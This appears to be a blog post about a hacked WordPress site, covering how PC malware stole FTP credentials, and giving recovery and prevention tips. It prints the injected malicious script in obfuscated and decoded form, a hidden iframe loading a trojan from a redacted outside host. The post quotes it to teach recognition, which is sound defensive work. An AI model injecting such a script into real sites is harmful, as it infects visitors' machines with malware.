Have You Ever Been Hacked? Simple Mistakes to Avoid & How to Recover

• Share
• Email

• Share
• Email

WordPress is the most popular blogging platform in the world with over 6 Million downloads so far (See why I like wordpress here) and because its so popular, you know the bad guys will begin to target its users. Hacking is a very serious issue that can cripple any website and erase a hard earned source of income, especially for the unsuspecting. The thing about it is many of us have never witnessed the devastating effects that malicious scripts can have on a website, so I’m going to show you an example of what happens when hackers attack and how to deal with it.

Fortunately, I have never been hacked, so I will be showing an example from another person’s experience that I came across yesterday. Below is a screenshot of his wordpress dashboard 2 months after the malicious script was installed.

Hacked WordPress Screenshot

As you can see, everything’s all mixed up. When he tried to visit his blog through his web browser, his anti-virus software popped up with warnings that a trojan horse was found on the site and the site may be dangerous. This is when he realized that something had gone wrong; after the damage was already done.

The Malicious Code

He then decided to check his theme’s html files to find the source of the problem and here he found some code that he did not recognize because the malicious code was encrypted. Example below:

<script language=”javascript”>eval(unescape(“%64%6F%63%75%6D%65

The hackers obviously encrypted a part of the line of code hoping to hide the true nature and purpose of the script. When decoded the code reads as follows:

<script language=”javascript”>eval(unescape(“document.write(‘<iframe src=”http://xxxxxxxx.org/in.php” width=1 height=1 frameborder=0></iframe>’);”))</script>

The script was actually trying to call a malicious website to load on his website through a hidden frame. This website would automatically load a trojan horse virus in the his browser.

How Did The Script Get in the Html for his Blog?

The next question is; how did this malicious code get into his blog in the first place? Answer: A virus on his local windows PC stole his FTP login credentials from his FTP client and then used the FTP client to remotely infect the site, considering that he used his FTP to directly access his blog’s directories. Typically, the php files with execution permission within the directories were infected, especially the plugin and theme files are the first targets.

The Solution

Here are some steps to take to remove an infestation:

1) Ensure that you have a robust anti-virus software on your PC that is updated. Run a complete scan of your entire computer system and ensure that all viruses are removed. I would recommend downloading Malwarebytes’ Anti-Malware Software to compliment your anti-virus software. This works very well.

2) In this scenario, it was only the default wordpress php files that were affected, so a fresh copy of the files were uploaded after removing the malicious ones from the hosting server.

3) Change local FTP passwords and ensure that the new ones are very complex. This is very important to do because normally after a malicious attack there is always an open “backdoor” that remains and the hacker can easily exploit this.

4) To be on the safe side, change your hosting account’s password as well as your site’s database password, whether it is Postgre or MySQL.

PHP & HTML Knowledge

It is very important to know basic html and php because this will give you the benefit of recognizing suspicious activity and malicious code and I can’t stress this enough. A site such as Lynda.com provides amazing video tutorials that will definitely help you to grasp the basics and master programming languages if you’re seriously interested. They have helped me a lot.

Prevention is Better Than Cure

You may view a list of plugins and techniques that will help to prevent malicious attacks on one of my previous posts here: 10 Simple Steps to Secure & Protect your WordPress Blog

Some key points that are not in that post are:

1) Do not save your login credentials in your FTP client.

2) Change all passwords on a monthly basis

3) Be carefull when downloading free plugins. It is best to download them from wordpress.org.

4) Keep your anti-virus software updated

Please note that if your blog gets hacked, the symptoms and the causes may be different from what had happened in the scenario described above..

If your wordpress blog gets hacked, don’t panic. Use the following resources to recover your website:

Additional Resources if you Suspect That You May Be Hacked

1) Use Google Webmaster Tools to detect malicious scripts.

2) Post the details of symptoms to the WordPress Community, if you notice any suspicious activities happening in your blog

3) If you decide to clean it up yourself, there is a good list of steps to take, in an article at WordPress.org Codex.

Please note that if your blog or other type of site gets hacked, the symptoms and the causes may be different from what had happened in the scenario I presented.

I hope you found this post helpful and will take the steps to prevent the exploitation of your site / blog.

Discussion: Have you ever been hacked? Leave a comment and tell us of your experiences. If you would like to have a more in-depth discussion on this topic, feel free to contact me through here.